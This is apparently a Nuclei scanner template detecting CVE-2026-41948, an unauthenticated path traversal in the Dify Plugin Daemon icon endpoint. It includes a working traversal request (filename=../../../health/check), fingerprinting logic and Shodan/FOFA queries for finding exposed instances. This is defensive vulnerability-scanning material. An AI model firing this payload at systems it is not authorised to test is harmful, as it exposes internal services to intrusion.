Dify <=1.14.1 - Unauthenticated Plugin Daemon Path Traversal

id: CVE-2026-41948

info:
  name: Dify <=1.14.1 - Unauthenticated Plugin Daemon Path Traversal
  author: DhiyaneshDk
  severity: critical
  description: |
    Dify version 1.14.1 and prior are affected by an unauthenticated path traversal in the Plugin Daemon icon proxy endpoint. The /console/api/workspaces/current/plugin/icon endpoint requires no authentication and passes the filename query parameter unsanitized into the internal Plugin Daemon REST API URL. Using ../ dot-sequence traversal an attacker escapes the authorized plugin/{tenant_id}/asset/ namespace and reaches arbitrary internal Plugin Daemon endpoints. The /health/check endpoint is always available and returns Plugin Daemon version, build time and pool status confirming exploitation.
  impact: |
    Unauthenticated attackers can traverse the Plugin Daemon's internal REST API, leaking system metadata (version hash, platform, pool capacity). Any internal Plugin Daemon endpoint is reachable, meaning any new endpoint becomes instantly exploitable from the public internet without credentials.
  remediation: |
    Upgrade to Dify 1.15.0 or later. The fix in api/core/plugin/impl/base.py (BasePluginClient._prepare_request) URL-decodes the path and raises ValueError on any segment containing .. or %2e%2e, preventing path traversal sequences from being forwarded to the Plugin Daemon.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41948
    - https://www.zafran.io/resources/difytap-zafran-discovers-how-attackers-can-silently-wiretap-ai-data-across-tenants-on-a-platform-powering-1m-apps
    - https://huntr.com/bounties/35b7ad59-e35d-443f-bf77-387bfb932ec0
    - https://github.com/langgenius/dify/pull/35796
    - https://osv.dev/vulnerability/CVE-2026-41948
    - https://www.vulncheck.com/advisories/dify-path-traversal-via-plugin-daemon-internal-api-access
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    cvss-score: 9.4
    cve-id: CVE-2026-41948
    epss-score: 0.0739
    epss-percentile: 0.94074
    cwe-id: CWE-23
  metadata:
    verified: true
    max-request: 2
    vendor: langgenius
    product: dify
    shodan-query: title:"Dify"
    fofa-query: icon_hash="97378986"
  tags: cve,cve2026,dify,langgenius,path-traversal,unauth,ssrf,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /signin HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<title>Dify") || contains(body, "langgenius") || contains(tolower(all_headers), "x-dify")'
        condition: and

  - raw:
      - |
        GET /console/api/workspaces/current/plugin/icon?tenant_id=00000000-0000-0000-0000-000000000000&filename=../../../health/check HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "pool_status","\"status\"")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402201ca645c661c48f5fa63f3a4ac75a869910685a8be75a42aa5da6ecc7a9cf96fa02206835c307df1a18cd4a543669dae3fb3a5049ffd1b4d3c7f82da38365d21edc6c:922c64590222798bb761d5b6d8e72950